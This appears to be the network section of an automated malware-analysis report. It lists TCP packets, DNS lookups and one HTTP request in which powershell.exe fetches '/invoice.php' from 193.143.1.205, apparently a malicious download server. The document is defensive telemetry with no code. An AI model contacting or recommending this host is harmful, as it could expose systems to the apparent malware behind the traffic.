Jan 14, 2025 11:55:00.159797907 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159809113 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159823895 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159842014 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159862995 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.159934044 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159948111 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.159998894 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195015907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195044994 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195060015 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195075035 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195090055 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195103884 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195120096 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195132971 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195142031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195148945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195157051 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195164919 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195178986 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195194960 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195216894 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195230961 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195251942 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195266008 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195281029 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195295095 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195310116 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195342064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195358038 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195373058 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195375919 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195388079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195415974 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195415974 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195787907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195811987 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195827007 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195851088 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195853949 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195866108 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195867062 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195899963 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195914030 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195919991 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195930958 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195955992 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.195976973 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195985079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.195992947 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196010113 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196027994 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196037054 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196052074 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196065903 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196073055 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196073055 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196110010 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196748018 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196763992 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196779013 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196793079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196808100 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196822882 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196831942 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196839094 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196852922 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196866989 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196911097 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196924925 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196948051 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.196958065 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196971893 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.196999073 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.197323084 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197338104 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197352886 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197369099 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197381973 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197396994 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197465897 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197479963 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197494984 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197510958 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197619915 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197638035 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197643995 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.197654009 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197669983 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197683096 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.197689056 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.197700977 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.197735071 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.198221922 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.198329926 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.198344946 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.198359013 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.198381901 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.198395967 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.198484898 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.234107018 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.234138012 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.234155893 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.234194994 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.234236956 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.234318018 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.243877888 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243902922 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243918896 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243932962 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243956089 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243969917 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243984938 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.243999004 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244014025 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244023085 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244054079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244069099 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244075060 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244086027 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244096041 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244102001 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244117975 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244132996 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244154930 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244164944 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244170904 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244220972 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.244405031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244498014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.244544983 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283233881 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283256054 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283279896 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283309937 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283329964 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283353090 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283353090 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283369064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283381939 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283381939 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283405066 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283418894 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283421993 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283437014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283441067 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283452034 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283469915 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283502102 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283574104 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283588886 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283602953 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283624887 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283638954 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283639908 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283657074 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283672094 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283699989 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283801079 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283818960 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283834934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283850908 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283864021 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283866882 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283880949 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283894062 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283900976 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283906937 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.283926010 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.283937931 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284141064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284163952 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284178972 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284193039 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284209013 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284209013 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284240007 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284276962 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284331083 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284385920 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284400940 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284416914 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284430981 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284445047 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284445047 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284472942 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284531116 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284544945 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284559965 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284576893 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284578085 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284600973 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284611940 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284615993 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284631968 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284646034 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284646988 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284662008 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.284674883 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.284704924 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.285075903 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285104990 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285120010 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285135031 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285149097 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285156012 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.285164118 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285180092 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285183907 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.285193920 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285209894 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285223961 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285233021 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.285240889 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.285293102 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288316011 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288367987 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288382053 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288383961 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288422108 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288424015 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288436890 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288451910 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288470030 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288480997 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288484097 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288500071 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288512945 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288537979 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288547039 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288552046 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288574934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288588047 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288608074 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288630009 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288635969 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288645029 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288661957 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288676977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288682938 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288721085 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288733959 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288749933 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288765907 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288780928 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288795948 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.288796902 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.288825035 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.295718908 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.324573040 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.324665070 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.324740887 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.324759960 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.324775934 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.324805021 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335197926 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335213900 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335230112 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335277081 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335306883 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335366964 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335381985 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335397005 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335431099 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335532904 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335549116 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335565090 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335577011 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335581064 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335596085 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335609913 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335611105 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335638046 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335691929 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335709095 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335736036 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335843086 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335860014 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335875034 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335886002 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335891962 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335906982 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.335922956 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.335944891 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.373648882 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.373670101 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.373686075 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.373718977 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.373753071 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.373763084 CET	80	49722	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:00.373934984 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.425879955 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.507122993 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:00.690730095 CET	49722	80	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:01.111637115 CET	49739	8888	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:01.116431952 CET	8888	49739	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:01.116532087 CET	49739	8888	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:01.116720915 CET	49739	8888	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:01.126432896 CET	8888	49739	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:01.895968914 CET	8888	49739	193.143.1.205	192.168.2.9
Jan 14, 2025 11:55:01.941498041 CET	49739	8888	192.168.2.9	193.143.1.205
Jan 14, 2025 11:55:02.324011087 CET	49739	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 11:55:13.971405983 CET	54990	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 11:55:13.971405983 CET	192.168.2.9	1.1.1.1	0xa86e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 11:55:13.978878021 CET	1.1.1.1	192.168.2.9	0xa86e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 11:55:14.657969952 CET	1.1.1.1	192.168.2.9	0x56e7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:55:14.657969952 CET	1.1.1.1	192.168.2.9	0x56e7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:55:37.762953043 CET	1.1.1.1	192.168.2.9	0x5b75	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:55:37.762953043 CET	1.1.1.1	192.168.2.9	0x5b75	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:56:25.935939074 CET	1.1.1.1	192.168.2.9	0x92ca	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:56:25.935939074 CET	1.1.1.1	192.168.2.9	0x92ca	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:56:50.013511896 CET	1.1.1.1	192.168.2.9	0x3c65	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 11:56:50.013511896 CET	1.1.1.1	192.168.2.9	0x3c65	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49722	193.143.1.205	80	7776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 11:54:58.656330109 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
